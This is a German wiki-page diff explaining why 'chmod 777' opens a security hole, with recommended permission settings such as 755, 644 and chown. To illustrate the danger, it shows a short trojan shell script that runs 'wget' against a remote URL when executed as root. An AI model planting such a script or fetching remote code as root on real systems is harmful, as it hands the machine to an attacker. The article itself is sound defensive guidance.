docs:chmod777
no way to compare when less than two revisions
Differences
This shows you the differences between two versions of the page.
Next revision | |||
— | docs:chmod777 [2016/03/06 14:12] – created 91.89.129.106 | ||
---|---|---|---|
Line 1: | Line 1: | ||
+ | |||
+ | ====== Warum "chmod 777" eine ganz schlechte Idee ist ====== | ||
+ | |||
+ | Bei Problemen beliebiger Art findet man "im Internet" | ||
+ | den Hinweis, man solle das Problem mit "chmod 777" beheben. | ||
+ | |||
+ | Manchmal scheint das sogar die Lösung zu sein, weil anschliessend | ||
+ | funktioniert, | ||
+ | |||
+ | Das Problem mit der Methode ist: | ||
+ | sie reisst ein fettes **Sicherheitsloch** in das System. | ||
+ | |||
+ | Der Grund ist, dass man in diesem Fall viel zu viele Rechte eingeräumt | ||
+ | hat, die sich in der dann vorliegenden Kombination auch noch verstärken. | ||
+ | |||
+ | ===== Was passiert da? ===== | ||
+ | |||
+ | Das kann man verstehen, wenn man in Detail anschaut, was passiert: | ||
+ | |||
+ | Das UN*X-Dateisystem kennt drei Rechte (" | ||
+ | * r - lesen | ||
+ | * w - schreiben | ||
+ | * x - ausführen | ||
+ | |||
+ | für jeweils drei Klassen von Nutzern: | ||
+ | * Eigentümer der Datei | ||
+ | * Gruppenzugehörigkeit der Datei | ||
+ | * Alle Übrigen | ||
+ | |||
+ | Weiter gehört jede Datei: | ||
+ | * einem Owner (UN*X-System-User) | ||
+ | * einer Group (UN*X-System-Group) | ||
+ | |||
+ | ==== Beispiel Programmdatei ==== | ||
+ | |||
+ | Mit '' | ||
+ | < | ||
+ | | ||
+ | file type ^ | ||
+ | perm owner -^^^ | ||
+ | perm group ----^^^ | ||
+ | perm other -------^^^ | ||
+ | file owner -------------^^^^ | ||
+ | file group ------------------^^^^ | ||
+ | </ | ||
+ | |||
+ | die Permissions " | ||
+ | * der Owner (hier: root) darf die Datei lesen, schreiben und ausführen. | ||
+ | * Mitglieder der Gruppe (hier ebenfalls: root) dürfen die Datei lesen und ausführen. | ||
+ | * alle Übrigen dürfen die Datei ebenfalls lesen und ausführen. | ||
+ | |||
+ | Anders formuliert: | ||
+ | * Alle dürfen die Datei lesen und ausführen | ||
+ | * nur ' | ||
+ | |||
+ | Das ist die korrekte Einstellung für die allermeisten Programmdateien auf dem System. | ||
+ | |||
+ | Eine Notwendigkeit, | ||
+ | |||
+ | ==== Beispiel Daten-Datei ==== | ||
+ | |||
+ | Dateien, die keine Programme enthalten, benötigen kein Ausführungsrecht. | ||
+ | |||
+ | Mit '' | ||
+ | < | ||
+ | | ||
+ | file type ^ | ||
+ | perm owner -^^^ | ||
+ | perm group ----^^^ | ||
+ | perm other -------^^^ | ||
+ | file owner -------------^^^^ | ||
+ | file group ------------------^^^^ | ||
+ | </ | ||
+ | |||
+ | die Permissions " | ||
+ | * der Owner (hier: root) darf die Datei lesen und schreiben. | ||
+ | * Mitglieder der Gruppe (hier ebenfalls: root) dürfen die Datei lesen. | ||
+ | * alle Übrigen dürfen die Datei ebenfalls lesen. | ||
+ | |||
+ | Anders formuliert: | ||
+ | * Alle dürfen die Datei lesen. | ||
+ | * nur ' | ||
+ | |||
+ | Das ist die korrekte Einstellung für die meisten - aber nicht alle! - Daten-Dateien auf dem System. | ||
+ | |||
+ | Eine Notwendigkeit, | ||
+ | |||
+ | Was gelegentlich vorkommt, ist, dass eine Daten-Datei von einem anderen als dem User " | ||
+ | |||
+ | ==== ... und das Problem mit " | ||
+ | |||
+ | Wenn eine Datei mit allen Permissions existiert, kann sie von jedem geschrieben und von jedem (anderen) ausgeführt werden. | ||
+ | |||
+ | Das heisst, jeder Prozess kann den Inhalt der Datei verändern und z.B. beliebigen Programmcode | ||
+ | hineinschreiben. Und der wird ausgeführt, | ||
+ | |||
+ | Angenommen, der Inhalt der Datei wird ersetzt durch etwas wie: | ||
+ | |||
+ | < | ||
+ | #!/bin/sh | ||
+ | if [ `id -u` != 0 ]; then | ||
+ | echo " | ||
+ | else | ||
+ | wget -q http:// | ||
+ | fi | ||
+ | </ | ||
+ | |||
+ | dann gehört einem die Maschine nach dem Aufruf des so trojanisierten Kommandos noch etwa 0.5 Sekunden. | ||
+ | |||
+ | Man sieht: die Kombination von " | ||
+ | |||
+ | Dabei ist es egal ob es sich um den Firmenserver, | ||
+ | |||
+ | ===== Wie macht man es richtig? ===== | ||
+ | |||
+ | Programmdateien (Binärfiles, | ||
+ | < | ||
+ | chmod 755 DATEINAME | ||
+ | </ | ||
+ | |||
+ | Datendateien (Datenbanken, | ||
+ | < | ||
+ | chmod 644 DATEINAME | ||
+ | </ | ||
+ | zusätzlich, | ||
+ | < | ||
+ | chown USER DATEINAME | ||
+ | </ | ||
+ | |||
+ | Beispiele: | ||
+ | |||
+ | ==== MySQL ==== | ||
+ | |||
+ | < | ||
+ | drwx------ 2 mysql mysql 4096 May 3 2014 db_accounting | ||
+ | -rw-rw---- 1 mysql mysql 8640 May 3 2014 db_accounting/ | ||
+ | -rw-rw---- 1 mysql mysql 98304 May 3 2014 db_accounting/ | ||
+ | </ | ||
+ | |||
+ | Der MySQL-Serverprozess läuft mit der User-ID " | ||
+ | Daher genügt es, wenn die Datenbank-Dateien und -Verzeichnisse | ||
+ | von diesem User geschrieben und gelesen werden können. | ||
+ | |||
+ | Die Datenbank-Dateien sind keine Programme, also brauchen sie | ||
+ | keine Ausführungsrechte. | ||
+ | |||
+ | ==== das Script aus dem Internet ==== | ||
+ | |||
+ | < | ||
+ | -rwxr-xr-x 1 root root 222 Jun 15 2014 / | ||
+ | </ | ||
+ | |||
+ | Es soll von allen benutzt werden können, also hat es | ||
+ | Ausführungsrechte für alle. Schreibrechte sind nicht erforderlich | ||
+ | und daher nicht erteilt. Und es gehört ' | ||
docs/chmod777.txt · Last modified: 2016/03/06 15:02 by 91.89.129.106